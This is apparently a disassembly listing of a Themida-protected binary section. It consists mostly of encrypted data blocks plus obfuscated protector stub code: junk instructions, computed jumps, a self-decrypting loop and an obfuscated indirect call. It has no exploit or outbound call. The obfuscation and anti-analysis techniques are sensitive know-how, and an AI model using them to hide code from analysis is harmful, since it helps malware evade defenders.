dd 11FB93E0h, 6C737E35h, 15CF04B1h, 0A45E6D40h, 0EE96BC1Dh
dd 2F1674FFh, 53308445h, 0F7C6C0B9h, 260E4F52h, 9AC82976h
dd 0D6600BE2h, 897E353Ch, 7ED7269Dh, 0DD0AC5CCh, 2D43A2BFh
dd 0B340AFE3h, 72146EA4h, 0F79CC5B1h, 146E8AACh, 0DD984772h
dd 37899F05h, 4588E5Eh, 47D20000h, 9AE2508Bh, 689AD823h
dd 917D1DD8h, 152DEAB9h, 0EC800AAh, 869B1E33h, 65E4E2E5h
dd 2A18EE87h, 0F6105B52h, 493AF7D2h, 0C117665Dh, 0ECB87266h
dd 8C3E98E5h, 99FC97D8h, 93E2D1B5h, 0E8DB843Eh, 0E7EE2A9Bh
dd 5C888734h, 8E3C2199h, 0BE2D84D0h, 56AFC22Dh, 0F6A628C7h
dd 41FB50B5h, 0A3509F14h, 28C75694h, 0B2C532C1h, 0A328C756h
dd 7FE9FF3h, 0DA9C1AD4h, 1EC4F110h, 6CD059Bh, 0AEA10000h
dd 256A7FCh, 0B3AA1B48h, 6B615401h, 0C919ECB9h, 2F2420Fh
dd 0C4914B7Fh, 7926E0F1h, 0F3A0528Ch, 4A17D102h, 0CD6C176Ah
dd 881DDE3Ch, 75C3AEEh, 453A5DAAh, 6B1B17C8h, 14499837h
dd 0D4772D62h, 0B000000h, 80631948h, 2B9A40DCh, 0B43AA072h
dd 792BB883h, 7F000000h, 91C21948h, 0A4FBB8D7h, 50E01CEh
dd 0FDEB2DEh, 0C8C5D264h, 0D5F07D17h, 93EE9C23h, 39C11F34h
dd 0BAD98D9Bh, 0EFBE786Bh, 13A58A14h, 0B30B5172h, 0DD390C9Eh
dd 0C5A0C195h, 0AA29E3F8h, 33C01B47h, 17C87E24h, 0A2114531h
dd 0D88DB755h, 796A171Dh, 0E6969EBFh, 19D48BE7h, 9383E349h
dd 16D2BEh, 946F0000h, 1A2F4134h, 62B72560h, 0B771624Fh
dd 0E013B4F6h, 97000000h, 8B621A48h, 0D879DEE0h, 7E5911Dh
dd 0DC00561Bh, 0E4C45C5Fh, 0B8000005h, 45B8ED9Fh, 0B90C5913h
dd 509DF2A4h, 0A00D42F4h, 0D1A3F0AAh, 722C1EE1h, 0BF79D01Dh
dd 792B2392h, 0D08AD92Ch, 25D22183h, 1DDE3E12h, 48F5A543h
dd 0DC806319h, 0AF617C11h, 0D690C110h, 0DA930CB7h, 0E895E4CCh
dd 70733CEEh, 0B777DDB5h, 4C66B883h, 0BA000000h, 80631948h
dd 0BC6B13DCh, 72017221h, 0C8457205h, 0C033E317h, 17C844B1h
dd 2BB7F8A4h, 0B883B7A5h, 2694h, 1948EC00h, 452433C0h
dd 453117C8h, 0E2A9611h, 0EB9C5504h, 17C84D4Fh, 0AAF6A89Dh
dd 83BBAD32h, 0FEBE9EB8h, 48E2FFFFh, 0DC806319h, 8A239278h
dd 0BADD2AD9h, 9B17C844h, 0BA20C2EBh, 0ABB883B7h, 232h
dd 3D5CA758h, 1817C851h, 5C67436Ch, 3B5EA906h, 1A17C845h
dd 3AC7366Ah, 0A62D6E28h, 444BFD57h
db 0C5h
byte_5AAEED db 56h, 9Bh, 0EAh ; DATA XREF: Themida_:0054D220o
; ---------------------------------------------------------------------------
clc
db 3Eh
adc [esi+ebp*4+3E45FF53h], esp
nop
and esi, edx
retn
; ---------------------------------------------------------------------------
db 44h, 0C8h, 17h
dd 0FAEE292h, 5FC80AEh, 45660976h, 0FFEF17C8h, 0BBE49EB2h
dd 5565BB48h, 92821DD8h, 964F40EBh, 0C231EBDFh, 3B641E33h
dd 8D479B6Ah, 0DA94C736h, 0BB7566B3h, 713A6614h, 357E1562h
dd 0F64511B8h, 0F49B4D87h, 0B3657946h, 0A63D5E0Ch, 5CA7580Bh
dd 11B8333Dh, 0C2436C18h, 2CE7D690h, 1EEA575Dh, 4BE0DB4h
dd 65560F50h, 0A32C22AAh, 0B4FDAC51h, 48470151h, 0A2548AF7h
dd 4146F1Bh, 88499105h, 113DB4FDh, 37E9966Dh, 17C7C9h
dd 8F6C3F14h, 54BD3C58h, 129FC0BFh, 1E69582Ch, 11B806ACh
dd 0AC667A0Bh, 0EB8ED9F8h, 0E00597CBh, 0AEBBA661h, 0C4946844h
dd 0A46D089Bh, 8CF7C6BEh, 0BA7A21Eh, 0D2CD728h, 48FF8768h
dd 7521135Ch, 0EF82ED7Eh, 66FF8767h, 3DB0F5B6h, 0E02D540Eh
dd 7D6431EBh, 0A956ADD1h, 5977D0Fh, 0EB469AE7h, 49123EF8h
dd 47943BEBh, 0F9775224h, 0BB3754ABh, 42F40CBEh, 0CBF2AC9Fh
dd 0B92A731Fh, 14BC2200h, 33ADD6D4h, 0F5000000h, 8CC11A48h
dd 5B07B3DAh, 46091764h, 0DD6E1DD8h, 0DE8C33EDh, 0ADC00BB2h
dd 2211B844h, 0BA20F2ABh, 0D2BE93B7h, 191BBCB5h, 3F6031CCh
dd 0B09Dh, 75CE500h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh
dd 0CA347794h, 1A2CBA89h, 0C93488A7h, 4480CD17h, 133FEB92h
dd 73A5123Fh, 3517C938h, 0C4376C26h, 2EA9C833h, 0C0AC17C9h
dd 582C129Fh, 0FC11C69h, 0C5D41F70h, 9017C92Eh, 68D5B0E4h
dd 414275F6h, 0F582812Ah, 1DDB7FE0h, 0BD2E8571h, 14AEC12Eh
dd 0F7A711B6h, 41FB4FB6h, 0F7B1A114h, 2522B01h, 0BC5457DCh
dd 337h, 6D22D40Bh, 0C18E4880h, 7A27D9F4h, 0F29F518Bh
dd 4015CF03h, 518104ECh, 0E6FBCA97h, 5086772Ch, 0CF04F19Eh
dd 0D5C4015h, 0DE40CF62h, 40E8861Dh, 174C065Ch, 0A6FBB5A6h
dd 4D075CFCh, 2AE4F746h, 75C2D75h, 453A5DAAh, 0B2AC17C8h
dd 4FD58100h, 44E06FFCh, 897517C8h, 0CB3A89DDh, 8B6DD97h
dd 8CDB2C67h, 0C84550DFh, 58190517h, 0EFA45E6Dh, 714044EAh
dd 0D85AFC06h, 69186B1Dh, 60EFC274h, 0F511B830h, 0E9365D09h
dd 11B83042h, 0FA85F68Dh, 11B83057h, 564D0EFEh, 0C861C79Bh
dd 5A50BE93h, 98000000h, 8B621A48h, 85378DDCh, 0B80F50FEh
dd 1DD8452Ah, 87398DDCh, 23115A08h, 0DCED7C73h, 0AEEF9B22h
dd 43B3DA25h, 352B11B8h, 0ABD284DAh, 0DD2C53FFh, 883A93EEh
dd 8A095D09h, 1B2BC6DDh, 0B58D2897h, 0BE93B92Fh, 0E9A3B845h
dd 3AC53CEAh, 11B83817h, 8F0D4E3Eh, 0C3h, 0B6AB5AD3h, 152B3FCh
dd 0E9F94847h, 0C42FC02Fh, 17C844B5h, 28ABF4A0h, 172F8AD9h
dd 43923165h, 1A675610h, 0C2700FC9h, 8526D8EDh, 49A1CF20h
dd 780517C8h, 7723AA5Ch, 0C27CCF36h, 712B208Dh, 9843EF52h
dd 0C8404CEBh, 491D0917h, 53930D7Ah, 68141DD8h, 0F488B63Bh
dd 0E55772FDh, 0FEEE17CAh, 561042AFh, 0BE49BA09h, 0BA5739Bh
dd 24A1CABAh, 0B676742Eh, 0E2E212F3h, 1BD49DFh, 3E910000h
dd 0F2E6D78Ch, 439A6B38h, 0DBF1C491h, 59897C29h, 0B282F29Fh
dd 7421DBEFh, 0C9965081h, 6330E2FCh, 0DA874192h, 5DFC87DAh
dd 0F81DDE42h, 0AB5AAA5Eh, 50025BB6h, 0B2D18531h, 786A5B04h
dd 2F2491BEh, 48722075h, 0DE8B621Ah, 864F32ECh, 96AD1710h
dd 58A32041h, 1DD8B8CAh, 71C2C1ADh, 0B7E27502h, 837311B8h
dd 0B846EDDAh, 0FA8911B8h, 9077371Dh, 0E586DCE6h, 0C94F23BEh
dd 0B8BE937Fh, 0B7h, 4D075C10h, 29E3F746h, 4A1B5DAAh, 0DE8B17C8h
dd 0E08E35E7h, 5B1546BFh, 0E48B506h, 0E889355Ch, 8D34EEDDh
dd 0DD6F062Ch, 4B610E3h, 40848D41h, 5004500Ah, 0B0AC1661h
dd 0BFB1DD7h, 0C0186556h, 263A8706h, 7A77386Ch, 0B641B0D4h
dd 17CA3EBCh, 0D7143D5Ah, 0EB657B71h, 0EBC2B2C2h, 0BD924C7Eh
dd 914B7FEEh, 2BE5F5D0h, 1370F3CDh, 9C3437E2h, 0C7h, 0BD92449Bh
dd 711ED8F0h, 0CA974984h, 622FE1FBh, 0D0853F93h, 0C111945Ch
dd 766B5A07h, 0C016E7BCh, 5F74410Eh, 5DECF0A5h, 0DE437F12h
dd 9078D61Dh, 3B5EA95Ah, 1A17C845h, 8EC4416Ah, 1D2E7FD4h
dd 5C642E63h, 0F7464D07h, 74752AE4h, 0B847B6CEh, 0F06297DBh
dd 90DBCF2Eh, 17C85801h, 5FCA854h, 0C857D77Ah, 0CD8E7E17h
dd 0DE4C59FAh, 6D14001Dh, 0B17ACF1Eh, 87BBD95Ah, 0FAA3EF86h
dd 4E7DD80Bh, 2293C094h, 0F9887731h, 57A62DE7h, 97434A04h
dd 0A6F1A2CBh, 846E4F29h, 0F6AF4AB9h, 87762BE5h, 0A6F39A54h
dd 2AD5FCAEh, 164500B9h, 0A5B6075Ch, 3561134Ah, 0BE192FBEh
dd 0AED587h, 0F0880B54h, 3, 5CBFEBB8h, 0E3325103h, 4A9736F0h
dd 0E5B6214h, 338201BBh, 0F5E651Fh, 338201BBh, 19686719h
dd 1E6B12C4h, 9451702Ah, 2B3C68h, 241C8900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
push ebp
mov ebp, 3AB10C31h
mov edx, 40C700B3h
sub edx, ebp
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push 247Dh
mov [esp], edx
pop dword ptr [ebp+8]
push dword ptr [esp]
pop ebp
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_55FF58
; ---------------------------------------------------------------------------
mov bl, 0C0h
test eax, 702AFCBh
rcr dh, cl
mov es, word ptr [ecx-5Fh]
mov eax, 615FFADh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
mov dl, ah
pop ds
pop edi
jmp short loc_5AB4DD
; ---------------------------------------------------------------------------
db 8Ah
dd 2A93893Dh, 60FCC827h, 36E17003h, 897EF726h, 6E84Ch
dd 0F5670000h, 0EDC9EEBDh, 800Fh, 8B580000h, 0DEC081F0h
dd 0BB000067h, 6EA5FB7Bh, 0F02838BFh, 0EBF7815Bh
db 31h
; ---------------------------------------------------------------------------
loc_5AB4DD: ; CODE XREF: Themida_:005AB4A1j
lock pop ebx
loc_5AB4DF: ; CODE XREF: Themida_:loc_5AB539j
mov edx, [eax]
push esi
movzx ecx, cx
pop ecx
add edx, 6F031A86h
stc
xor edx, 69EC464Dh
mov ecx, 57CBD31Ch
sub edx, 6058D6D6h
jp loc_5AB509
xor bx, 0BE81h
loc_5AB509: ; CODE XREF: Themida_:005AB4FEj
push edx
mov bl, 0B9h
pop dword ptr [eax]
movzx ebx, di
sub eax, 4
mov bx, 1F8Fh
dec edi
jnz loc_5AB52C
movsx esi, cx
jmp loc_5AB550
; ---------------------------------------------------------------------------
db 1Ah
; ---------------------------------------------------------------------------
enter 0FFFF922Bh, 13h
loc_5AB52C: ; CODE XREF: Themida_:005AB519j
jmp loc_5AB539
; ---------------------------------------------------------------------------
db 0EDh, 9Eh, 18h
dd 0F259960Bh
db 44h
; ---------------------------------------------------------------------------
loc_5AB539: ; CODE XREF: Themida_:loc_5AB52Cj
jmp loc_5AB4DF
; ---------------------------------------------------------------------------
dw 0EA32h
dd 61003552h, 0AF766A57h, 94729E47h, 414AED47h
; ---------------------------------------------------------------------------
loc_5AB550: ; CODE XREF: Themida_:005AB522j
jmp loc_5AB5ED
; ---------------------------------------------------------------------------
db 55h, 14h, 0F7h
dd 9456h, 500h, 100h, 0A2800h, 200h, 20h dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5AB5ED: ; CODE XREF: Themida_:loc_5AB550j
jmp loc_5AC14E
; ---------------------------------------------------------------------------
push 61602FEh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6160411h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61604DCh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6160569h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61606E4h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6160764h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6160A43h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6160B74h
jmp loc_5534D8
; ---------------------------------------------------------------------------
dw 0AB5Bh
dd 0BF65F468h, 0A045D488h, 0BF64F367h, 9D4FC682h, 80FCEA5Eh
dd 0EB5F9E52h, 0C478B96Ch, 0E2569135h, 0C377AC53h, 8D35F4C8h
dd 696BDA7Dh, 7932C08Ch, 0DE5044h, 0CC7CB909h, 89C7286Dh
dd 6A05F68Ch, 1AA1B6B2h, 23803C71h, 76354794h, 67FC8155h
dd 6FC1B5B1h, 7289A91h, 50CC943Ch, 736907Bh, 9ED5943Ch
dd 0AF0FE207h, 0BC7F397Ah, 57F9CE03h, 4Ah, 1EBD5CB5h, 7C745D4Ch
dd 969267FCh, 27C990EAh, 0B35F984Dh, 0CDB693AFh, 943C7C71h
dd 3CE81DC6h, 0F8ACEB9Dh, 0CC0BBD7Ch, 67FEA5D8h, 0AED0B059h
dd 3C7C47FBh, 4C39F94h, 0F1752160h, 4DA847DCh, 397B3584h
dd 0AA64h, 7932A600h, 97395044h, 7D2AC58h, 8B482566h, 0D4F39FD4h
dd 8342F62Bh, 6DCC00B4h, 2FABE087h, 0D6CAFFA8h, 0D076CAE9h
dd 371B52FAh, 0F10BE74Bh, 3F1293Ah, 0DD51CD98h, 906A7188h
dd 0FEC23C9h, 599142E9h, 3759E15h, 1149BA08h, 0E2FE5A9Eh
dd 609F5108h, 0E1BB6DECh, 2400F42Bh, 4D6A9B40h, 0FAAA4035h
dd 95AE9h, 4F923400h, 6DA45CDBh, 8AC36AF1h, 67A447CEh
dd 81C064F3h, 31A3DFCDh, 0D8C407Fh, 189F1B5Ch, 0F4833772h
dd 0A7A2164Bh, 7E6CD6D5h, 2B886BDAh, 3F7E32A1h, 0B820402Dh
dd 0D5C18F33h, 10B73EF8h, 5CC95FDBh, 5D4C1EBDh, 67FC7C74h
dd 28168D92h, 13744941h, 0AA14432Fh, 49943C90h, 935E9B3Ah
dd 73397A49h, 0F3h, 0DB1ACE8Dh, 826EA35Ch, 3203C99Eh, 0DE504479h
dd 836FA45Bh, 5F11CA9Fh, 3FFA7420h, 917A4F8Ch, 6DCC00BAh
dd 35A9DE85h, 5BBFFDA6h, 0D6A40073h, 0B79DA0B7h, 618500D7h
dd 96956B85h, 9233372Ch, 8F8F6CC8h, 906A1E9Dh, 70F4A0D9h
dd 0A7C4A054h, 0CF81BF56h, 9F8AE490h, 92333723h, 678B67C3h
dd 0E71EC695h, 263BEE12h, 9E980341h, 0DA90681Bh, 536FF39Fh
dd 0D6A88476h, 46236003h, 37A43390h, 8CDC6625h, 3C389E15h
dd 0C0F59722h, 10F479C9h, 0A5C19D9Eh, 0C9FEB229h, 10F460E2h
dd 0CCA8849Eh, 34F0DC1Fh, 73643040h, 847h, 7A2E7121h, 9A0E45FBh
dd 0B12D661Bh, 9448852Ah, 0A8246305h, 701446C2h, 4BFE7D31h
dd 23C74E0Ah, 3EE574E8h, 665A5509h, 0DA781FA3h, 32FAF76Bh
dd 34367E32h, 0EB7D2B8Fh, 7EFFF6E3h, 47401958h, 7F28AF2Bh
dd 32F88E4Ah, 39504479h, 84E15D92h, 95946675h, 67F67D1Bh
dd 16A5B7B3h, 0C584386Dh, 942583EDh, 0EE6A718Ch, 5D7C7D4Ah
dd 59926C7Eh, 0B88AA6C9h, 0F09BB00Ah, 9E156573h, 6B1C9793h
dd 62DC5212h, 3913C84Fh, 0EC33B152h, 2DD95507h, 0C47E2D53h
dd 2037CC71h, 3FD62744h, 715FE3A6h, 20B737CCh, 0DE422E6Bh
dd 1D0CDE02h, 3DFB8C3Fh, 0CA916BC7h, 0EE12E726h, 0CB7FB46Bh
dd 0F95E934Ch, 0E004F0BCh, 7C970014h, 56000007h, 3EBD71B4h
dd 5CDB4F86h, 69F06CA5h, 46D589C6h, 1E763A2h, 76B55785h
dd 519233C2h, 6DA85EDDh, 8CC16AF1h, 28E3DDD0h, 6BDA789Ah
dd 0D7971D7Ah, 7C4002A9h, 0C8A46DCCh, 0FC352B3h, 98C0459Bh
dd 6105C449h, 3B304A26h, 6302F4h, 6D93682Fh, 0E623C893h
dd 6A21363Ah, 67F634EEh, 0A9304A26h, 6DD5D405h, 89942634h
dd 59DDC9ADh, 0A9EEAE74h, 12E7317Dh, 7EB56BEEh, 5E954BCAh
dd 376C13B2h, 23A5F92h, 0D2C3D34Ah, 6EFh, 72E629C9h, 52063DE3h
dd 69E51EC3h, 4C003DF2h, 60DC1BCDh, 38EC1E6Ah, 13B645F9h
dd 2BDF56D2h, 6BD3CF0h, 8E725DD1h, 0DA79279Bh, 5AE2BF6Bh
dd 875F04D7h, 0AFCCA8E3h, 3A14C74Eh, 0B9EE9524h, 7D6DE7A4h
dd 4A8367F6h, 0D486F0D5h, 0C3B7949Ah, 1DC69567h, 57D516E8h
dd 77350060h, 43A01633h, 924923B8h, 0D5F4A0DDh, 0FBD0F433h
dd 0EC8826E5h, 9F849425h, 0E48555CEh, 0A85C7873h, 25B84401h
dd 7B1AA994h, 8166337Eh, 0C2AAA339h, 24079128h, 63E48C61h
dd 26000000h, 2ED496D7h, 23C3A68Bh, 4C21457Eh, 0A3BD1EB9h
dd 0CC7246E8h, 7559BE6Dh, 0BE47E656h, 22493D19h, 6DCC8CA4h
dd 31952C47h, 8CE65C4Fh, 92376DCCh, 0D9C9AD59h, 8C1EA467h
dd 7AF66DCCh, 0F12ADF56h, 39CA23DCh, 113A336Ah, 0F5CF428Ch
dd 0F2567320h, 0Eh, 5F984D0Ch, 129AAFB3h, 1D840h, 0BA158C00h
dd 213BA037h, 7CF64C3Fh, 0A2476DCCh, 0C9B9BD69h, 0C168906Dh
dd 67FC2020h, 40E76AC6h, 448D7728h, 1C16896h, 0E5278951h
dd 0EB47789h, 0E6278951h, 9106D8Ah, 0F011F8D2h, 962DB934h
dd 2503A7A4h, 0A0A2C458h, 0F98049F9h, 95B1AD29h, 0D60514E1h
dd 7D270504h, 83DF23CEh, 0F83CF269h, 3AAABB5h, 54795D8Fh
dd 1368D4EBh, 647C510Ah, 45F92ED5h, 73D80DB6h, 8DCAECCAh
dd 7439AA7Ah, 4E000005h, 56E5599Ch, 34C377AEh, 61D8548Dh
dd 3EBD71AEh, 998F4B8Ah, 0E4DFF6Dh, 296A1B9Ah, 458026B5h
dd 24591289h, 0D0BBC5A8h, 6BDA7A72h, 328F1592h, 0AF2A4479h
dd 0FDA9BEFDh, 10EAF108h, 0FC0C0C19h, 7013AA67h, 0B8A30633h
dd 0B27AAEBCh, 1E401A8Eh, 7FF94940h, 411D9423h, 237FE85Ah
dd 833FEA94h, 6394237Fh, 66251707h, 94237FDCh, 43183C38h
dd 2D9ACF78h, 4A077B06h, 0F4697A2Ah, 0CE000004h, 0D665D91Ch
dd 0B443F72Eh, 0E158D40Dh, 0BE3DF12Eh, 190FCB0Ah, 8ECD7FEDh
dd 0A9EA9B1Ah, 0C500A635h, 0A4D99209h, 503B4528h, 6BDA7BF2h
dd 320F9512h, 39504479h, 5D835D92h, 0CC7C14AEh, 5774F06Dh
dd 32D1F2A7h, 0A3174CF3h, 0F4E02B9h, 35EAFF63h, 336B29DCh
dd 2ABCh, 4D70E00h, 0BA4B2061h, 0FBAEC01Bh, 67FC2B76h
dd 0B9E09490h, 9423AD0Dh, 9A3CD3F0h, 192E6D1Fh, 7B648B66h
dd 536B39h, 0D7E10000h, 6E225F04h, 7188D5F2h, 906E906Ah
dd 0CC7C2999h, 2548CD6Dh, 6DE3AE0h, 968D6A86h, 67FCA0ADh
dd 4813ED49h, 36F569A0h, 943C6789h, 0CFBAE59Eh, 943C6773h
dd 0C45FC93h, 1C381C18h, 0A17319A0h, 63BFB3ECh, 2299937Fh
dd 0AA173469h, 41Fh, 15BD5C22h, 4F3A862Ch, 6DCC7BF3h, 56321713h
dd 95CE73BDh, 0A5BB95B1h, 0CCA15CE6h, 6C21B86Dh, 263A0F33h
dd 0FCDBC663h, 30E44067h, 0D969203Eh, 76943CAFh, 7FDB93D2h
dd 53AF16Ah, 37025E11h, 9F845992h, 2FAC4B00h, 0D5CD6E1Dh
dd 3D399E0Ch, 1C51FA81h, 9E431668h, 98B5B165h, 0DF92AE45h
dd 1A8C29Eh, 941CD408h, 259D8CDEh, 0C1801CD4h, 3958165h
dd 9750D170h, 7A99E662h, 0AE61FC6h, 0A45039F0h, 3A368A2Ch
dd 63984F46h, 0F78E25AFh, 401AC158h, 3C9B2049h, 0CE8AE680h
dd 0AB1712ECh, 4B8C7CFBh, 8A41FACFh, 862AA155h, 604B3547h
dd 8C7CFBE2h, 55512602h, 4BEA891Ah, 11EB5F94h, 0BB67A64Ah
dd 0FB78CAC1h, 0C09C8C7Ch, 9F36C7A4h, 95B1EEA1h, 9A3BD0BBh
dd 32A9864Ch, 0CE523E7Fh, 0DB9209F9h, 0B372EEA2h, 462AD60Dh
dd 0A85F762Ah, 5E157F73h, 6A7188C7h, 7BB6E90h, 18B66C1Ah
dd 0E84C3871h, 67223C38h, 0B66C1ADBh, 0F60ADF3Bh, 5C7BC633h
dd 8C4A0BCh, 0F1A5DA91h, 40FC31DAh, 0F507D4E3h, 6C541536h
dd 8175F1B2h, 4C4C6CDAh, 5DF48FA2h, 0EAFA5598h, 0F09BC563h
dd 0A24C5452h, 2FA1B6B2h, 3Ah, 0A6E78A51h, 0CB6176FAh
dd 0E283BD5Ch, 0ABC5A1h, 67FC7CD3h, 28253733h, 0B6B65EA1h
dd 0D5D1A6B0h, 23473886h, 9A8DB94h, 7BFB21ECh, 21CA9139h
dd 1F3C38ECh, 0E4A9h, 0A9D72300h, 53427B32h, 6DCC7CEFh
dd 9EDB9007h, 75526EF2h, 24D005BEh, 9FDC8F4Ah, 0E15A6FF3h
dd 0EDDEF02Fh, 0ADB9D49Eh, 0E4A2B76Ah, 1D093EE5h, 1C90C57Eh
dd 0CC9B5E6Dh, 0EC2AE16Dh, 69209152h, 6DCCD5D9h, 0A3FCE13Dh
dd 219DB978h, 0C8BCF19Ah, 0C064DCFBh, 758B6581h, 1C083DE6h
dd 83484318h, 4367FCE4h, 70E73E7h, 0AD599639h, 0D8D3ADC9h
dd 9E0A6CE2h, 85542602h, 0B128A4E3h, 261BC0FFh, 0EE403667h
dd 215AD36h, 3FEF0000h, 13B940FCh, 34D960DCh, 13B83FFBh
dd 31D362D6h, 345036F2h, 67E322C6h, 40FC3DF0h, 5EDA15B9h
dd 3FFB30D7h, 9B9704Ch, 0ED6BDA76h, 7E3224F0h, 2AB18B3Fh
dd 0DC584C81h, 7CBB0702h, 0FF5B6DCCh, 85BA71EAh, 2C96956Bh
dd 0C86DCC7Ch, 0F5C78F6Ch, 7D22DAF8h, 0ACC1729Fh, 1EBD5C20h
dd 8D4C324Ch, 8DE99DDAh, 0CC7C249Eh, 8764C06Dh, 0FC7CB79Ch
dd 0F9D34F67h, 0F19E66D4h, 30A75BBDh, 79254277h, 23E89432h
dd 42F97794h, 0A4775489h, 0A225E80Dh, 0DF05397Bh, 47000000h
dd 83DB96D7h, 57251184h, 0E712B982h, 0CC039E24h, 0BDFEAF6Dh
dd 0B9B56DC9h, 35EE4A7h, 0BAB66DCCh, 39EBEA96h, 0B359E0FAh
dd 0CFAC887Ch, 7FB188CFh, 0E18A6DCCh, 0B599D2ACh, 0A687A629h
dd 271EF4D9h, 55FE0B39h, 5DDCBE78h, 21B86CABh, 390E326Dh
dd 0E094C982h, 0ECE10413h, 4A19363Eh, 0D36F169Ch, 336DCCBAh
dd 4A411B37h, 67FCC981h, 0D617E945h, 9C1AF941h, 2FA7C423h
dd 0C69843D2h, 0AEF16C3h, 9AB4B09Eh, 7A2E6D1Fh, 5D0A49FBh
dd 4035D1E2h, 0E4EDF6AEh, 0BE000000h, 8615C90Ch, 0A433A7DEh
dd 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh, 9EDD8FFDh, 0B9FAAB2Ah
dd 95D07605h, 0B4E9A219h, 802B15F8h, 6BDA77C2h, 32FFC522h
dd 0B18B3F7Eh, 5B47862Ah, 4DF106CEh, 0FAD6DA92h, 78AD56DDh
dd 793226C4h, 92395044h, 6DC5F254h, 7D597D07h, 865564C1h
dd 0E237B574h, 53CF67F6h, 0D30AC279h, 6176AB54h, 487D26A5h
dd 792FAA94h, 0F8D24E42h, 26E2B111h, 4D95594h, 0A75B9037h
dd 0C78B0300h, 9F0025h, 7C3F6A21h, 7EE28EC3h, 0C5F92B97h
dd 734FCBC4h, 528740B7h, 0EE9FCC9Eh, 31566572h, 0C166ED0Ah
dd 0D8279B8Eh, 6DBFC4C5h, 0C5D804BEh, 6084E0C4h, 95946A84h
dd 0C4C5D82Dh, 8E906DC9h, 4FD66D04h, 70E76398h, 58E82B7h
dd 0Fh, 5B04D777h, 0E1F67A26h, 3CF26987h, 3260EC01h, 52493D80h
dd 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh, 26A55190h
dd 39504481h, 30A75B94h, 0CF554178h, 61BD68h, 243C8900h
dd 5EF968h, 24148900h, 2A1A68h, 240C8900h, 0BEBA5257h
dd 891E2406h, 95BA5AD7h, 29243A08h, 8B545FFAh, 0C483240Ch
dd 4EC8104h, 89000000h, 0D6892434h, 5E087189h, 592434FFh
dd 4C481h, 148B0000h, 0E1895124h, 4C181h, 0C1810000h, 4
dd 5C240C87h, 0FA738BE9h
db 0FFh, 4Ch
; ---------------------------------------------------------------------------
loc_5AC14E: ; CODE XREF: Themida_:loc_5AB5EDj
mov eax, 6160C7Dh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0EEh
; ---------------------------------------------------------------------------
jno short loc_5AC1B6
xor al, 80h
retn
; ---------------------------------------------------------------------------
mov dh, [esi+73h]
retf 543Ah
; ---------------------------------------------------------------------------
db 36h
dd 0DE445D84h, 4A6636C5h, 941F2C59h, 1F6A9743h, 9A278E6Ah
dd 0EB2362ACh, 24h, 8 dup(0)
dd 0BDE900h
db 2 dup(0)
word_5AC1A6 dw 0B589h ; DATA XREF: Themida_:0054DC10o
dd 6160D12h, 2209858Bh, 858B0610h
db 0A1h, 1Fh
; ---------------------------------------------------------------------------
loc_5AC1B6: ; CODE XREF: Themida_:005AC158j
adc [esi], al
lea esi, [ebp+6160D5Ch]
lea eax, [ebp+61354E6h]
call eax
retn
; ---------------------------------------------------------------------------
push ebp
call $+5
pop ebp
sub ebp, 6160D62h
cmp dword ptr [ebp+6102209h], 1
jnz loc_5AC20D
push dword ptr [ebp+6160D12h]
mov eax, [ebp+6101FA1h]
xor eax, 34812736h
call eax
cmp al, 1
jnz loc_5AC206
mov eax, 1
jmp loc_5AC24D
; ---------------------------------------------------------------------------
loc_5AC206: ; CODE XREF: Themida_:005AC1F6j
xor eax, eax
jmp loc_5AC24D
; ---------------------------------------------------------------------------
loc_5AC20D: ; CODE XREF: Themida_:005AC1DBj
push 1Ch
lea esi, [ebp+6160D16h]
push esi
push dword ptr [ebp+6160D12h]
mov eax, [ebp+6101FA1h]
xor eax, 34812736h
call eax
add esp, 0Ch
lea esi, [ebp+6160D16h]
mov eax, [esi+14h]
and eax, 4
cmp eax, 4
jz loc_5AC248
xor eax, eax
jmp loc_5AC24D
; ---------------------------------------------------------------------------
loc_5AC248: ; CODE XREF: Themida_:005AC23Bj
mov eax, 1
loc_5AC24D: ; CODE XREF: Themida_:005AC201j
; Themida_:005AC208j ...
cmp dword ptr [ebp+6102209h], 1
jnz loc_5AC261
pop ebp
retn
; ---------------------------------------------------------------------------
jmp loc_5AC263
; ---------------------------------------------------------------------------
loc_5AC261: ; CODE XREF: Themida_:005AC254j
pop ebp
iret
; ---------------------------------------------------------------------------
loc_5AC263: ; CODE XREF: Themida_:005AC25Cj
lea eax, [ebp+6160D3Bh]
mov [ebp+61027A5h], eax
lea ecx, [ebp+6160EDBh]
mov [ebp+6102F89h], ebx
mov [ebp+61009F5h], ecx
mov bl, al
push ebx
movzx edi, cx
pop esi
mov dword ptr [ebp+6102319h], 7344h
mov dword ptr [ebp+61022C1h], 0
push 0
push edx
call sub_5AC2A7
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC2A7 proc near ; CODE XREF: Themida_:005AC29Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5AC2A7 endp
; ---------------------------------------------------------------------------
db 16h
dd 0EE97420h, 0C4000000h, 498C27D1h, 0EEA11E32h, 7663CC5h
dd 4ADB8036h, 8A1B5FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 0BB0665C3h, 7E8F4B88h
dd 66C03C5Fh, 25EACE81h, 2DB995FFh, 6A0610h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 82235DC3h
dd 62B61EC1h, 0DE962h, 83CE0000h, 0FCFF4C8Eh, 0A95BF03Ah
